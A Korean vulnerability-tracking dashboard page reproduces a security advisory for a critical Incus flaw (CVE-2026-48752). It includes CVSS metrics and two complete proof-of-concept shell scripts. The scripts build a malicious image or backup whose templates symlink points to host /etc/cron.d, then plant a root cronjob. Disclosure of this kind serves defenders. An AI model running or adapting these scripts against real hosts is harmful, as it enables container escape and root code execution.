Kestrel
대시보드로 돌아가기
CVE-2026-48752CRITICAL· 9.9GHSA대응게시일: 2026. 06. 26.수정일: 2026. 06. 26.

Incus has arbitrary file read+write on host via templates/ symlink in malicious image

위협 신호 · CVSS · EPSS · KEV

시급 검토· 이론 심각도 Critical
CVSS
9.9critical

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.9CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

상세 설명

Summary

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Malicious container image

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

bash
1#!/bin/sh
2set -eu
3
4tmpdir=$(mktemp -d)
5cleanup() {
6 rm -rf "${tmpdir}"
7}
8trap cleanup EXIT INT QUIT TERM HUP
9
10mkdir -p "${tmpdir}/img/rootfs"
11ln -s /etc/cron.d "${tmpdir}/img/templates"
12cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
13architecture: x86_64
14creation_date: 1
15properties:
16 description: PoC templates symlink host afrw
17__EOF__
18
19cd "${tmpdir}/img"
20tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
21incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
22incus init afrw-image-templates-symlink afrw-image-templates-symlink
23
24incus config template ls afrw-image-templates-symlink
25
26# read
27#incus config template show afrw-image-templates-symlink $FILENAME
28
29# write
30printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
31#incus config template edit afrw-image-templates-symlink poc
Malicious instance backup

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

bash
1#!/bin/sh
2set -eu
3
4tmpdir=$(mktemp -d)
5cleanup() {
6 rm -rf "${tmpdir}"
7}
8trap cleanup EXIT INT QUIT TERM HUP
9
10mkdir -p "${tmpdir}/img/backup"
11cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
12name: afrw-backup-templates-symlink
13backend: dir
14pool: default
15type: container
16optimized: false
17__EOF__
18
19mkdir "${tmpdir}/img/backup/container"
20cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
21container:
22 name: afrw-backup-templates-symlink
23 architecture: x86_64
24 type: container
25 status: Stopped
26 status_code: 102
27 stateful: false
28 ephemeral: false
29 profiles:
30 - default
31 config:
32 volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
33 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
34 expanded_config:
35 volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
36 volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
37 devices: {}
38 expanded_devices:
39 root:
40 path: /
41 pool: default
42 type: disk
43 created_at: "2024-01-01T00:00:00Z"
44 last_used_at: "2024-01-01T00:00:00Z"
45volume:
46 name: afrw-backup-templates-symlink
47 type: container
48 content_type: filesystem
49 config: {}
50pool:
51 name: default
52 driver: dir
53 config: {}
54__EOF__
55
56cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
57architecture: x86_64
58creation_date: 1
59properties:
60 description: afrw-backup-templates-symlink
61__EOF__
62
63mkdir "${tmpdir}/img/backup/container/rootfs"
64ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"
65
66cd "${tmpdir}/img"
67tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
68incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink
69
70incus config template ls afrw-backup-templates-symlink
71
72# read
73#incus config template show afrw-backup-templates-symlink $FILENAME
74
75# write
76printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
77#incus config template edit afrw-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.